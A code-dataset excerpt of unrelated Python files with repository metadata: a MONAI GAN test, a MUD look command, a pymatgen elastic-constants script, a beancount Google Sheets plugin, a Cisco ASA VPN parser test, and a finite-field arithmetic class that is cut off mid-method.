d_train_steps=disc_train_steps, latent_shape=latent_size, key_train_metric=key_train_metric, train_handlers=train_handlers, ) trainer.run() return trainer.state @skip_if_quick class IntegrationWorkflowsGAN(DistTestCase): def setUp(self): set_determinism(seed=0) self.data_dir = tempfile.mkdtemp() for i in range(40): im, _ = create_test_image_2d(64, 64, num_objs=3, rad_max=14, num_seg_classes=1, channel_dim=-1) n = nib.Nifti1Image(im, np.eye(4)) nib.save(n, os.path.join(self.data_dir, f"img{i:d}.nii.gz")) self.device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu:0") monai.config.print_config() logging.basicConfig(stream=sys.stdout, level=logging.INFO) def tearDown(self): set_determinism(seed=None) shutil.rmtree(self.data_dir) @TimedCall(seconds=200, daemon=False) def test_training(self): torch.manual_seed(0) finish_state = run_training_test(self.data_dir, device=self.device) self.assertEqual(finish_state.iteration, 100) self.assertEqual(finish_state.epoch, 5) if __name__ == "__main__": unittest.main()

true

790b228e8aa5bf49b0e1e3268923018c40afca2b

753

py

Python

cwmud/core/commands/info/look.py

whutch/cwmud

bee8b126a5e70edd0593dae9753a6be8d52357cf

[ "MIT" ]

11

2016-03-03T03:56:59.000Z

2021-11-19T15:38:51.000Z

cwmud/core/commands/info/look.py

whutch/atria

bee8b126a5e70edd0593dae9753a6be8d52357cf

[ "MIT" ]

26

2016-08-31T23:19:45.000Z

2019-10-19T21:50:33.000Z

cwmud/core/commands/info/look.py

whutch/atria

bee8b126a5e70edd0593dae9753a6be8d52357cf

[ "MIT" ]

2

2016-01-22T21:22:34.000Z

2016-02-09T06:03:57.000Z

# -*- coding: utf-8 -*- """Look command.""" # Part of Clockwork MUD Server (https://github.com/whutch/cwmud) # :copyright: (c) 2008 - 2017 Will Hutcheson # :license: MIT (https://github.com/whutch/cwmud/blob/master/LICENSE.txt) from .. import Command, COMMANDS from ...characters import CharacterShell @COMMANDS.register class LookCommand(Command): """A command to allow a character to look at things.""" def _action(self): char = self.session.char if not char: self.session.send("You're not playing a character!") return if not char.room: self.session.send("You're not in a room!") return char.show_room() CharacterShell.add_verbs(LookCommand, "look", "l")

26.892857

73

0.640106

from .. import Command, COMMANDS from ...characters import CharacterShell @COMMANDS.register class LookCommand(Command): def _action(self): char = self.session.char if not char: self.session.send("You're not playing a character!") return if not char.room: self.session.send("You're not in a room!") return char.show_room() CharacterShell.add_verbs(LookCommand, "look", "l")

true

790b22f67984acbc1adc70e328564f8496f2231c

2,925

py

Python

examples/elastic.py

costrouc/pymatgen-lammps

0e1aee4c4c93a62ac3648086d3007be7c2ce20a1

[ "MIT" ]

3

2020-07-01T07:59:42.000Z

2022-01-19T07:19:08.000Z

examples/elastic.py

costrouc/pymatgen-lammps

0e1aee4c4c93a62ac3648086d3007be7c2ce20a1

[ "MIT" ]

null

examples/elastic.py

costrouc/pymatgen-lammps

0e1aee4c4c93a62ac3648086d3007be7c2ce20a1

[ "MIT" ]

4

2020-07-26T03:30:52.000Z

2021-08-09T21:26:00.000Z

# Calculation the Elastic Constants from given deformations import os import subprocess from pymatgen import Structure, Lattice, Specie from pymatgen.analysis.elasticity import DeformedStructureSet, Strain, Stress, ElasticTensor from pmg_lammps import RelaxSet, LammpsLog, LammpsData, LammpsPotentials supercell = (5, 5, 5) a = 4.1990858 # From evaluation of potential lattice = Lattice.from_parameters(a, a, a, 90, 90, 90) mg = Specie('Mg', 1.4) o = Specie('O', -1.4) atoms = [mg, o] sites = [[0, 0, 0], [0.5, 0.5, 0.5]] structure = Structure.from_spacegroup(225, lattice, atoms, sites) initial_structure = structure * supercell directory = 'runs/elastic' num_normal = 10 num_shear = 10 max_normal = 0.03 max_shear = 0.08 lammps_potentials = LammpsPotentials(pair={ (mg, mg): '1309362.2766468062 0.104 0.0', (mg, o ): '9892.357 0.20199 0.0', (o , o ): '2145.7345 0.3 30.2222' }) mgo_potential_settings = [ ('pair_style', 'buck/coul/long 10.0'), ('kspace_style', 'pppm 1.0e-5'), ] print('Performing Strained Calculations') strained_structures = [] deformation_set = DeformedStructureSet(structure, nd=max_normal, ns=max_shear, num_norm=num_normal, num_shear=num_shear) for i, deformation in enumerate(deformation_set.deformations): deformation_directory = os.path.join(directory, str(i)) print('Deformation', i) strain = Strain.from_deformation(deformation) strained_structure = deformation.apply_to_structure(initial_structure) lammps_data = LammpsData.from_structure(strained_structure, potentials=lammps_potentials, include_charge=True) lammps_set = RelaxSet(lammps_data, relax_box=False, user_lammps_settings=[ ] + mgo_potential_settings) lammps_set.write_input(deformation_directory) subprocess.call(['lammps', '-i', 'lammps.in'], cwd=deformation_directory, stdout=subprocess.PIPE) lammps_log = LammpsLog(os.path.join(deformation_directory, 'lammps.log')) stress = Stress(lammps_log.get_stress(-1)) strained_structures.append({ 'strain': strain, 'structrure': strained_structure, 'stress': stress / -10000.0 # bar to GPa }) strains = [defo['strain'] for defo in strained_structures] stresses = [defo['stress'] for defo in strained_structures] elastic = ElasticTensor.from_pseudoinverse(strains, stresses) print('Stiffness Tensor') for row in elastic.voigt: print('{:+8.1f} {:+8.1f} {:+8.1f} {:+8.1f} {:+8.1f} {:+8.1f}\n'.format(*row)) print('Shear Modulus G_V', elastic.g_voigt) print('Shear Modulus G_R', elastic.g_reuss) print('Shear Modulus G_vrh', elastic.g_vrh) print('Bulk Modulus K_V', elastic.k_voigt) print('Bulk Modulus K_R', elastic.k_reuss) print('Bulk Modulus K_vrh', elastic.k_vrh) print('Elastic Anisotropy', elastic.universal_anisotropy) print('Poisons Ration', elastic.homogeneous_poisson)

35.240964

101

0.709744

import os import subprocess from pymatgen import Structure, Lattice, Specie from pymatgen.analysis.elasticity import DeformedStructureSet, Strain, Stress, ElasticTensor from pmg_lammps import RelaxSet, LammpsLog, LammpsData, LammpsPotentials supercell = (5, 5, 5) a = 4.1990858 lattice = Lattice.from_parameters(a, a, a, 90, 90, 90) mg = Specie('Mg', 1.4) o = Specie('O', -1.4) atoms = [mg, o] sites = [[0, 0, 0], [0.5, 0.5, 0.5]] structure = Structure.from_spacegroup(225, lattice, atoms, sites) initial_structure = structure * supercell directory = 'runs/elastic' num_normal = 10 num_shear = 10 max_normal = 0.03 max_shear = 0.08 lammps_potentials = LammpsPotentials(pair={ (mg, mg): '1309362.2766468062 0.104 0.0', (mg, o ): '9892.357 0.20199 0.0', (o , o ): '2145.7345 0.3 30.2222' }) mgo_potential_settings = [ ('pair_style', 'buck/coul/long 10.0'), ('kspace_style', 'pppm 1.0e-5'), ] print('Performing Strained Calculations') strained_structures = [] deformation_set = DeformedStructureSet(structure, nd=max_normal, ns=max_shear, num_norm=num_normal, num_shear=num_shear) for i, deformation in enumerate(deformation_set.deformations): deformation_directory = os.path.join(directory, str(i)) print('Deformation', i) strain = Strain.from_deformation(deformation) strained_structure = deformation.apply_to_structure(initial_structure) lammps_data = LammpsData.from_structure(strained_structure, potentials=lammps_potentials, include_charge=True) lammps_set = RelaxSet(lammps_data, relax_box=False, user_lammps_settings=[ ] + mgo_potential_settings) lammps_set.write_input(deformation_directory) subprocess.call(['lammps', '-i', 'lammps.in'], cwd=deformation_directory, stdout=subprocess.PIPE) lammps_log = LammpsLog(os.path.join(deformation_directory, 'lammps.log')) stress = Stress(lammps_log.get_stress(-1)) strained_structures.append({ 'strain': strain, 'structrure': strained_structure, 'stress': stress / -10000.0 }) strains = [defo['strain'] for defo in strained_structures] stresses = [defo['stress'] for defo in strained_structures] elastic = ElasticTensor.from_pseudoinverse(strains, stresses) print('Stiffness Tensor') for row in elastic.voigt: print('{:+8.1f} {:+8.1f} {:+8.1f} {:+8.1f} {:+8.1f} {:+8.1f}\n'.format(*row)) print('Shear Modulus G_V', elastic.g_voigt) print('Shear Modulus G_R', elastic.g_reuss) print('Shear Modulus G_vrh', elastic.g_vrh) print('Bulk Modulus K_V', elastic.k_voigt) print('Bulk Modulus K_R', elastic.k_reuss) print('Bulk Modulus K_vrh', elastic.k_vrh) print('Elastic Anisotropy', elastic.universal_anisotropy) print('Poisons Ration', elastic.homogeneous_poisson)

true

790b24e08d1689ac5a8a136a2200ec96e8902f61

9,780

py

Python

src/coolbeans/plugins/sheetsaccount.py

runarp/coolbeans

128a7f2e45690d2d22b05608e555c44334f46859

[ "MIT" ]

5

2020-05-17T04:48:25.000Z

2022-01-27T09:36:45.000Z

src/coolbeans/plugins/sheetsaccount.py

runarp/coolbeans

128a7f2e45690d2d22b05608e555c44334f46859

[ "MIT" ]

1

2020-05-17T06:21:52.000Z

2020-05-22T13:49:33.000Z

src/coolbeans/plugins/sheetsaccount.py

runarp/coolbeans

128a7f2e45690d2d22b05608e555c44334f46859

[ "MIT" ]

1

2021-01-28T03:00:27.000Z

""" # Sheets Account Read a Google Sheet as if it were are realtime source of transactions for a GL account. Columns are mapped to attributes. The assumption is that the sheet maps to a single account, and the rows are the credit/debits to that account. Can be used as a plugin, which will write new entries (for reference) to a file, but also maintain a "live" view of the transactions. We support most of the sane columns on a sheet: - date - narration - payee - account - amount - currency - tags - links - Anything else, if non-empty cell, gets added as a META Some things to look at are: - Multi-currency Support - Lot support? - Other Directives: Note, Document, Balance? - Smarter per-sheet caching of local results I strongly suggest using "Transfer" accounts for all asset movements between two accounts both of which are tracked via a Sheet. This simplifies the "Matching" and allows each side to be reconciled independently. TODO: Default Account when account column is blank? """ # stdlib imports import logging import decimal import pprint import typing import datetime import dateparser import pathlib import slugify # Beancount imports from beancount.core import data from coolbeans.utils import safe_plugin, get_setting from coolbeans.tools.sheets import google_connect, safe_open_sheet from coolbeans.plugins.accountsync import apply_coolbean_settings import gspread STRIP_SYMOLS = '₱$' DEFAULT_CURRENCY = "USD" logger = logging.getLogger(__name__) __plugins__ = ['apply_coolbean_settings', 'remote_entries_plugin'] def clean_slug(slug): """Clean a possible Slug string to remove dashes and lower case.""" return slug.replace('-', '').lower() def coolbean_sheets(entries, context): """Given a set of entries, pull out any slugs and add them to the context""" settings = context.setdefault('coolbean-accounts', {}) # Pull out any 'slug' meta data for entry in entries: if isinstance(entry, data.Open): document = entry.meta.get('document_name', None) tab = entry.meta.get('document_tab', None) slug = entry.meta.get('slug', "") if document and tab and slug: settings[slug] = { 'account': entry.account, 'document': document, 'tab': tab, 'currencies': entry.currencies } else: if document or tab: print(f"Skipping {entry.account}: {document}/{tab}/{slug}") return entries, [] def remote_entries(entries, options_map): """ @param entries: @param options_map: @return: """ errors = [] settings = options_map['coolbeans'] secrets_file = get_setting('google-apis', settings) connection = google_connect(secrets_file) new_entries_path = None new_entries_file = get_setting('new-entries-bean', settings) if new_entries_file: new_entries_path = pathlib.Path(new_entries_file) # Capture the configuration off the Open remote_accounts = {} for entry in entries: if not isinstance(entry, data.Open): continue document_name = entry.meta.get('document_name', None) default_currency = entry.currencies[0] if entry.currencies else DEFAULT_CURRENCY if document_name: options = dict( document_name=document_name, document_tab=entry.meta.get('document_tab', None), reverse_amount=entry.meta.get('reverse', False), default_currency=default_currency, entry=entry, entry_file=new_entries_path ) remote_accounts[entry.account] = options new_entries = [] for account, options in remote_accounts.items(): try: new_entries += load_remote_account( connection=connection, errors=errors, account=account, options=options ) except Exception as exc: logger.error(f"while processing {account}", exc_info=exc) if new_entries and new_entries_path: from beancount.parser import printer with new_entries_path.open("w") as stream: printer.print_entries(new_entries, file=stream) logger.info(f"Wrote {len(new_entries)} new account(s) to {new_entries_path}.") return entries+new_entries, errors remote_entries_plugin = safe_plugin(remote_entries) ALIASES = { 'narration': ['description', 'notes', 'details', 'memo'] } def clean_record(record: typing.Dict[str, str]): """This is a bit of a hack. But using get_all_records doesn't leave many options""" new_record = {} for k, v in record.items(): k = slugify.slugify(k.lower().strip()) v = str(v) # Combine multiple narration columns if needed: for field, names in ALIASES.items(): new_record.setdefault(field, '') if k in names: # Add the value to Narration: new_record[field] += ('. ' if new_record[field] else '') + v k = None # Clear this Key break # Really Ugly hack around embeded currency symbols. Needs Cleanup if k == 'amount': v = v.replace(',', '') for s in STRIP_SYMOLS: v = v.replace(s, '') if v and not v[0].isdecimal() and not v[0]=='-': v = v[1:] # Pull currency? # Decimal is fussy try: v = decimal.Decimal(v) except decimal.InvalidOperation: v = 0 if k: new_record[k] = v return new_record def load_remote_account( connection: gspread.Client, errors: list, account: str, options: typing.Dict[str, str] ): """Try to Load Entries from URL into Account. options include: - document_name -- the Actual Google Doc name - document_tab -- the Tab name on the Doc - default_currency - the entry currency if None is provided - reverse_amount - if true, assume positive entries are credits """ entries = [] document_name = options['document_name'] document_tab = options.get('document_tab', 0) or 0 default_currency = options['default_currency'] reverse_amount = options.get('reverse_amount', False) if not document_name: return m = -1 if reverse_amount else 1 logger.info(f"Attempting to download entries for {account} from {document_name}.{document_tab}") workbook = connection.open(document_name) sheet = None try: document_tab = int(document_tab) sheet = workbook.get_worksheet(document_tab) except ValueError: pass if sheet is None: sheet = workbook.worksheet(document_tab) records = sheet.get_all_records() import re row = 0 # logger.info(f"Found {len(records)} entries.") for record in records: row += 1 record = clean_record(record) if 'date' not in record or not record['date']: continue if 'amount' not in record or not record['amount']: continue #if 'account' not in record or not record['account'].strip(): # continue narration = record.pop('narration', None) payee = record.pop('payee', None) tagstr = record.pop('tags', '') tags = set(re.split(r'\W+', tagstr)) if tagstr else set() date = dateparser.parse(record.pop('date')) if date: date = datetime.date(year=date.year, month=date.month, day=date.day) linkstr = record.pop('links', '') links = set(re.split(r'\W+', linkstr)) if linkstr else set() meta = { 'filename': str(options['entry_file']), 'lineno': 0, 'document-sheet-row': f"{document_name}/{document_tab}/{row+1}" } amount = decimal.Decimal(record.pop('amount')) * m currency = record.pop('currency', default_currency) entry_account = record.pop('account') for k, v in record.items(): if v: meta[k] = v try: if not entry_account: errors.append(f"Skipping Record with Blank Account: {meta['document-sheet-row']}") logger.warning(f"Skipping Record with Blank Account: {meta['document-sheet-row']}") continue entry = data.Transaction( date=date, narration=narration, payee=payee, tags=tags, meta=meta, links=links, flag='*', postings=[ data.Posting( account=account, units=data.Amount(amount, currency), cost=None, price=None, flag='*', meta={} ), data.Posting( account=entry_account, units=data.Amount(-amount, currency), cost=None, price=None, flag='*', meta={} ) ] ) entries.append(entry) except Exception as exc: logger.error(f"Error while parsing {record}", exc_info=exc) errors.append(str(exc)) logger.info(f"Loaded {len(entries)} entries for {account} from {document_name}.{document_tab}") return entries

31.650485

100

0.58456

import logging import decimal import pprint import typing import datetime import dateparser import pathlib import slugify from beancount.core import data from coolbeans.utils import safe_plugin, get_setting from coolbeans.tools.sheets import google_connect, safe_open_sheet from coolbeans.plugins.accountsync import apply_coolbean_settings import gspread STRIP_SYMOLS = '₱$' DEFAULT_CURRENCY = "USD" logger = logging.getLogger(__name__) __plugins__ = ['apply_coolbean_settings', 'remote_entries_plugin'] def clean_slug(slug): return slug.replace('-', '').lower() def coolbean_sheets(entries, context): settings = context.setdefault('coolbean-accounts', {}) for entry in entries: if isinstance(entry, data.Open): document = entry.meta.get('document_name', None) tab = entry.meta.get('document_tab', None) slug = entry.meta.get('slug', "") if document and tab and slug: settings[slug] = { 'account': entry.account, 'document': document, 'tab': tab, 'currencies': entry.currencies } else: if document or tab: print(f"Skipping {entry.account}: {document}/{tab}/{slug}") return entries, [] def remote_entries(entries, options_map): errors = [] settings = options_map['coolbeans'] secrets_file = get_setting('google-apis', settings) connection = google_connect(secrets_file) new_entries_path = None new_entries_file = get_setting('new-entries-bean', settings) if new_entries_file: new_entries_path = pathlib.Path(new_entries_file) remote_accounts = {} for entry in entries: if not isinstance(entry, data.Open): continue document_name = entry.meta.get('document_name', None) default_currency = entry.currencies[0] if entry.currencies else DEFAULT_CURRENCY if document_name: options = dict( document_name=document_name, document_tab=entry.meta.get('document_tab', None), reverse_amount=entry.meta.get('reverse', False), default_currency=default_currency, entry=entry, entry_file=new_entries_path ) remote_accounts[entry.account] = options new_entries = [] for account, options in remote_accounts.items(): try: new_entries += load_remote_account( connection=connection, errors=errors, account=account, options=options ) except Exception as exc: logger.error(f"while processing {account}", exc_info=exc) if new_entries and new_entries_path: from beancount.parser import printer with new_entries_path.open("w") as stream: printer.print_entries(new_entries, file=stream) logger.info(f"Wrote {len(new_entries)} new account(s) to {new_entries_path}.") return entries+new_entries, errors remote_entries_plugin = safe_plugin(remote_entries) ALIASES = { 'narration': ['description', 'notes', 'details', 'memo'] } def clean_record(record: typing.Dict[str, str]): new_record = {} for k, v in record.items(): k = slugify.slugify(k.lower().strip()) v = str(v) for field, names in ALIASES.items(): new_record.setdefault(field, '') if k in names: new_record[field] += ('. ' if new_record[field] else '') + v k = None break if k == 'amount': v = v.replace(',', '') for s in STRIP_SYMOLS: v = v.replace(s, '') if v and not v[0].isdecimal() and not v[0]=='-': v = v[1:] try: v = decimal.Decimal(v) except decimal.InvalidOperation: v = 0 if k: new_record[k] = v return new_record def load_remote_account( connection: gspread.Client, errors: list, account: str, options: typing.Dict[str, str] ): entries = [] document_name = options['document_name'] document_tab = options.get('document_tab', 0) or 0 default_currency = options['default_currency'] reverse_amount = options.get('reverse_amount', False) if not document_name: return m = -1 if reverse_amount else 1 logger.info(f"Attempting to download entries for {account} from {document_name}.{document_tab}") workbook = connection.open(document_name) sheet = None try: document_tab = int(document_tab) sheet = workbook.get_worksheet(document_tab) except ValueError: pass if sheet is None: sheet = workbook.worksheet(document_tab) records = sheet.get_all_records() import re row = 0 for record in records: row += 1 record = clean_record(record) if 'date' not in record or not record['date']: continue if 'amount' not in record or not record['amount']: continue narration = record.pop('narration', None) payee = record.pop('payee', None) tagstr = record.pop('tags', '') tags = set(re.split(r'\W+', tagstr)) if tagstr else set() date = dateparser.parse(record.pop('date')) if date: date = datetime.date(year=date.year, month=date.month, day=date.day) linkstr = record.pop('links', '') links = set(re.split(r'\W+', linkstr)) if linkstr else set() meta = { 'filename': str(options['entry_file']), 'lineno': 0, 'document-sheet-row': f"{document_name}/{document_tab}/{row+1}" } amount = decimal.Decimal(record.pop('amount')) * m currency = record.pop('currency', default_currency) entry_account = record.pop('account') for k, v in record.items(): if v: meta[k] = v try: if not entry_account: errors.append(f"Skipping Record with Blank Account: {meta['document-sheet-row']}") logger.warning(f"Skipping Record with Blank Account: {meta['document-sheet-row']}") continue entry = data.Transaction( date=date, narration=narration, payee=payee, tags=tags, meta=meta, links=links, flag='*', postings=[ data.Posting( account=account, units=data.Amount(amount, currency), cost=None, price=None, flag='*', meta={} ), data.Posting( account=entry_account, units=data.Amount(-amount, currency), cost=None, price=None, flag='*', meta={} ) ] ) entries.append(entry) except Exception as exc: logger.error(f"Error while parsing {record}", exc_info=exc) errors.append(str(exc)) logger.info(f"Loaded {len(entries)} entries for {account} from {document_name}.{document_tab}") return entries

true

790b256629c5649137035d014ee8ea6aa54c079f

4,072

py

Python

src/genie/libs/parser/asa/tests/test_show_vpn.py

filippohronsky/genieparser

85e4b7a8f101e5cd44d4d7116e0e7a1af13fe9df

[ "Apache-2.0" ]

2

2021-01-27T03:37:39.000Z

2021-01-27T03:40:50.000Z

src/genie/libs/parser/asa/tests/test_show_vpn.py

filippohronsky/genieparser

85e4b7a8f101e5cd44d4d7116e0e7a1af13fe9df

[ "Apache-2.0" ]

1

2020-08-01T00:23:31.000Z

2020-08-01T00:40:05.000Z

src/genie/libs/parser/asa/tests/test_show_vpn.py

filippohronsky/genieparser

85e4b7a8f101e5cd44d4d7116e0e7a1af13fe9df

[ "Apache-2.0" ]

null

import unittest from unittest.mock import Mock # PyATS from pyats.topology import Device from genie.metaparser.util.exceptions import SchemaEmptyParserError, \ SchemaMissingKeyError from genie.libs.parser.asa.show_vpn import ShowVPNLoadBalancing # ============================================ # unit test for 'show vpn load-balancing' # ============================================= class TestShowVPNLoadBalancing(unittest.TestCase): """ unit test for show vpn load-balancing """ device = Device(name='aDevice') empty_output = {'execute.return_value': ''} maxDiff = None golden_parsed_output = { 'cluster_ip': 'cluster1', 'encryption': 'Enabled', 'failover': 'n/a', 'peers': { 1: { 'load_balancing_version': 4, 'model': 'ASA-VASA', 'pri': 5, 'public_ip': '10.246.0.1*', 'role': 'Master', }, 2: { 'load_balancing_version': 4, 'model': 'ASA-VASA', 'pri': 5, 'public_ip': '10.246.0.2', 'role': 'Backup', }, }, 'peers_count': 1, 'role': 'Master', 'status': 'Enabled', 'total_license_load': { 1: { 'anyconnect_premium_essentials': { 'limit': 250, 'load': 0, 'used': 0, }, 'other_vpn': { 'limit': 250, 'load': 1, 'used': 2, }, 'public_ip': '10.246.0.1*', }, 2: { 'anyconnect_premium_essentials': { 'limit': 0, 'load': 0, 'used': 0, }, 'other_vpn': { 'limit': 0, 'load': 0, 'used': 0, }, 'public_ip': '10.246.0.2', }, }, } golden_output = {'execute.return_value': ''' vASA-VPN-20#show vpn load-balancing -------------------------------------------------------------------------- Status Role Failover Encryption Peers Cluster IP -------------------------------------------------------------------------- Enabled Master n/a Enabled 1 cluster1 Peers: -------------------------------------------------------------------------- Role Pri Model Load-Balancing Version Public IP -------------------------------------------------------------------------- Master 5 ASA-VASA 4 10.246.0.1* Backup 5 ASA-VASA 4 10.246.0.2 Total License Load: -------------------------------------------------------------------------- AnyConnect Premium/Essentials Other VPN Public IP ----------------------------- --------------------- Limit Used Load Limit Used Load -------------------------------------------------------------------------- 250 0 0% 250 2 1% 10.246.0.1* 0 0 0% 0 0 0% 10.246.0.2 '''} def test_empty(self): self.device = Mock(**self.empty_output) obj = ShowVPNLoadBalancing(device=self.device) with self.assertRaises(SchemaEmptyParserError): parsed_output = obj.parse() def test_golden(self): self.device = Mock(**self.golden_output) route_obj = ShowVPNLoadBalancing(device=self.device) parsed_output = route_obj.parse() self.assertEqual(parsed_output, self.golden_parsed_output) if __name__ == '__main__': unittest.main()

35.408696

82

0.370088

import unittest from unittest.mock import Mock from pyats.topology import Device from genie.metaparser.util.exceptions import SchemaEmptyParserError, \ SchemaMissingKeyError from genie.libs.parser.asa.show_vpn import ShowVPNLoadBalancing class TestShowVPNLoadBalancing(unittest.TestCase): device = Device(name='aDevice') empty_output = {'execute.return_value': ''} maxDiff = None golden_parsed_output = { 'cluster_ip': 'cluster1', 'encryption': 'Enabled', 'failover': 'n/a', 'peers': { 1: { 'load_balancing_version': 4, 'model': 'ASA-VASA', 'pri': 5, 'public_ip': '10.246.0.1*', 'role': 'Master', }, 2: { 'load_balancing_version': 4, 'model': 'ASA-VASA', 'pri': 5, 'public_ip': '10.246.0.2', 'role': 'Backup', }, }, 'peers_count': 1, 'role': 'Master', 'status': 'Enabled', 'total_license_load': { 1: { 'anyconnect_premium_essentials': { 'limit': 250, 'load': 0, 'used': 0, }, 'other_vpn': { 'limit': 250, 'load': 1, 'used': 2, }, 'public_ip': '10.246.0.1*', }, 2: { 'anyconnect_premium_essentials': { 'limit': 0, 'load': 0, 'used': 0, }, 'other_vpn': { 'limit': 0, 'load': 0, 'used': 0, }, 'public_ip': '10.246.0.2', }, }, } golden_output = {'execute.return_value': ''' vASA-VPN-20#show vpn load-balancing -------------------------------------------------------------------------- Status Role Failover Encryption Peers Cluster IP -------------------------------------------------------------------------- Enabled Master n/a Enabled 1 cluster1 Peers: -------------------------------------------------------------------------- Role Pri Model Load-Balancing Version Public IP -------------------------------------------------------------------------- Master 5 ASA-VASA 4 10.246.0.1* Backup 5 ASA-VASA 4 10.246.0.2 Total License Load: -------------------------------------------------------------------------- AnyConnect Premium/Essentials Other VPN Public IP ----------------------------- --------------------- Limit Used Load Limit Used Load -------------------------------------------------------------------------- 250 0 0% 250 2 1% 10.246.0.1* 0 0 0% 0 0 0% 10.246.0.2 '''} def test_empty(self): self.device = Mock(**self.empty_output) obj = ShowVPNLoadBalancing(device=self.device) with self.assertRaises(SchemaEmptyParserError): parsed_output = obj.parse() def test_golden(self): self.device = Mock(**self.golden_output) route_obj = ShowVPNLoadBalancing(device=self.device) parsed_output = route_obj.parse() self.assertEqual(parsed_output, self.golden_parsed_output) if __name__ == '__main__': unittest.main()

true

790b2616f583dbaa08f38fd927e913e89fb35cb7

34,961

py

Python

mathTools/field.py

ecuvelier/PPAT

63d4e6417729ba09ddec6c719e98ea67b788ab11

[ "Apache-2.0" ]

3

2015-09-29T16:22:15.000Z

2020-03-30T23:34:51.000Z

mathTools/field.py

ecuvelier/PPAT

63d4e6417729ba09ddec6c719e98ea67b788ab11

[ "Apache-2.0" ]

null

mathTools/field.py

ecuvelier/PPAT

63d4e6417729ba09ddec6c719e98ea67b788ab11

[ "Apache-2.0" ]

2

2017-08-01T16:21:25.000Z

2020-03-30T23:34:53.000Z

# -*- coding: utf-8 -*- """ Created on 2013-2014 Author : Edouard Cuvelier Affiliation : Université catholique de Louvain - ICTEAM - UCL Crypto Group Address : Place du Levant 3, 1348 Louvain-la-Neuve, BELGIUM email : firstname.lastname@uclouvain.be """ from numpy import * import gmpy from Crypto.Random.random import randint import random as rd import tools.fingexp as fingexp import tools.utils as utils class Field(fingexp.FingExp): 'Class for Field' def __init__(self,p): '''Defines the modulus p which must be a prime ''' self.F = self self.p = gmpy.mpz(p) # prime modulus self.char = self.p # characteristic self.q = self.p+1 # order+1 #TODO : correct? assert gmpy.is_prime(p) self.rep = None self.g = None ''' g is a random quadratic residue used to compute square roots and it is initialized the first time a square root is computed ''' self.to_fingerprint = ["p"] self.to_export = {"fingerprint": [],"value": ["p"]} super(Field, self).__init__() def load(self, data, fingerprints): self.p = utils.b64tompz(data["p"]) def one(self): 'unit element for multiplication' return FieldElem(1, self) def zero(self): 'unit element for addition' return FieldElem(0,self) def elem(self,x): ''' return an element of value x ''' if isinstance(x,FieldElem): assert x.F == self return x m = gmpy.mpz(1) assert isinstance(x,int) or isinstance(x, long) or type(x)==type(m) return FieldElem(x,self) def random(self,low=1,high=None): ''' Return a random element of the Field ''' if high == None : high = int(self.p-1) rand = randint(low,high) return self.elem(rand) def __eq__(self, other): 'testing if we are working in the same field' try: return (self.p == other.p) except: return False def add(self, a, b): ''' field operation: addition mod p ''' return FieldElem((a.val + b.val) % self.p, self) def sub(self, a, b): ''' field operation: substraction mod p ''' return FieldElem((a.val - b.val) % self.p, self) def neg(self, a): ''' field operation: opposite mod p ''' return FieldElem((self.p - a.val ) % self.p, self) def mul(self, a, b): ''' field operation: multiplication of field elements ''' """ if isinstance(a,FieldElem) and isinstance(b, FieldElem) and not a.F == b.F : raise Exception("multiplication between elements of different fields") """ if not isinstance(b,FieldElem) : # Multiplication by a scalar if b<0: return self.smul(-a,-b) return self.smul(a,b) else: return self.pmul(a,b) def smul(self,a,b): ''' Return a*b where a or b is scalar ''' if not isinstance(b,FieldElem): # b is scalar #return self.dbleAndAdd(a,a,b) return FieldElem((gmpy.mpz(b)*a.val)%(self.p),self) #return self.pmul(a,a.F.elem(b)) else : # a is scalar #return self.dbleAndAdd(b,b,a) return self.smul(b,a) def sm(self,b,a): ''' Quick multiplication between a field element a and a scalar b ''' return FieldElem((gmpy.mpz(b)*a.val)%(self.p),self) def pmul(self,a,b): ''' product between two field element in Fp ''' return FieldElem((a.val * b.val) % self.p, self) def dbleAndAdd(self,P,Pp,n): 'return n*P using double and add technique' #print "dblaad" if n == 0 : return self.zero(); if n == 1 : return P elif n%2 == 1 : Q = self.dbleAndAdd(P,Pp,(n-1)/2) return P+Q+Q elif n%2 == 0 : Q = self.dbleAndAdd(P,Pp,n/2) return Q+Q def powop(self, a, b): 'return a**b' m = gmpy.mpz(1) #self.count = 0 'exponentiation by a scalar' if not isinstance(b, int) and not isinstance(b, long) and not type(b)==type(m): raise Exception("Exponentation by a non integer, long or mpz") c = b if c > self.char-1 or c<0: c = b%(self.char-1) #elif : # return self.powop(a.invert(),(-c)) if c == 0 : assert not a.val%self.char == 0 return self.one() elif c == 1 : return a else : return self.sqrtAndMultply(a,a, c) #return FieldElem(pow(a.val,b,self.char)) def sqrtAndMultply(self,P,Pp,n): 'return P**n using square and multiply technique' if n == 0 : return self.one() elif n == 1 : return P elif n%2 == 1 : Q = self.sqrtAndMultply(P,Pp,(n-1)/2) return P*self.square(Q) elif n%2 == 0 : Q = self.sqrtAndMultply(P,Pp,n/2) return self.square(Q) def square(self,a): ''' This method returns the square of a ''' return FieldElem(pow(a.val,2, self.p), self) def invert(self,a): assert not (a.val%self.p == 0) # Do not invert zero! return FieldElem(gmpy.invert(a.val, self.p), self) #def invertible(self,a): #return not int(a.invert().val) == 0 def div(self,a,b): assert not (b.val%self.p == 0) # Do not invert zero! return FieldElem((a.val*self.invert(b).val % self.p),self) def findnonresidue(self): ''' find a random non quadratic residue in the Field F, that is, find g that is not a square in F, this is needed to compute square roots ''' g=self.random() while g.isquadres(): #print g, " is quad res in ", self g = self.random() return g def __str__(self): return "F_"+str(self.p) def jsonable(self): return {'type': 'FqField', 'p': self.p} class FieldElem(): def __init__(self, val, F): '''Creating a new field element. ''' #assert isinstance(F,Field) self.F = F self.val = gmpy.mpz(val) self.poly = polynom(self.F,[self]) #self.to_fingerprint = ["F", "val"] #self.to_export = {"fingerprint": ["F"], # "value": ["val"]} #super(FieldElem, self).__init__() def __eq__(self, other): try: return ((self.val%self.F.char) == (other.val%self.F.char) and self.F == other.F) except: return False def __add__(self, other): return self.F.add(self, other) def __neg__(self): return self.F.neg(self) def __sub__(self, other): return self.F.sub(self, other) def __radd__(self, other): return self.__add__(other) def __mul__(self, other): return self.F.mul(self, other) def __rmul__(self, other): return self.__mul__(other) def __pow__(self, e): return self.F.powop(self, e) def __div__(self,other): return self.F.div(self,other) def __truediv__(self,other): return self.F.div(self,other) def __str__(self): return str(self.val) def iszero(self): return self == self.F.zero() def invert(self): return self.F.invert(self) def invertible(self): return self.F.invertible(self) def isquadres(self): ''' This method return True if the element is a quadratic residue mod q different than zero it returns False otherwhise ''' if (self+self.F.zero()).iszero() : # case of element is zero return False else : # If F's order is prime we use Euler's criterium c = self**((self.F.q-1)/2) #TODO: Optimize this 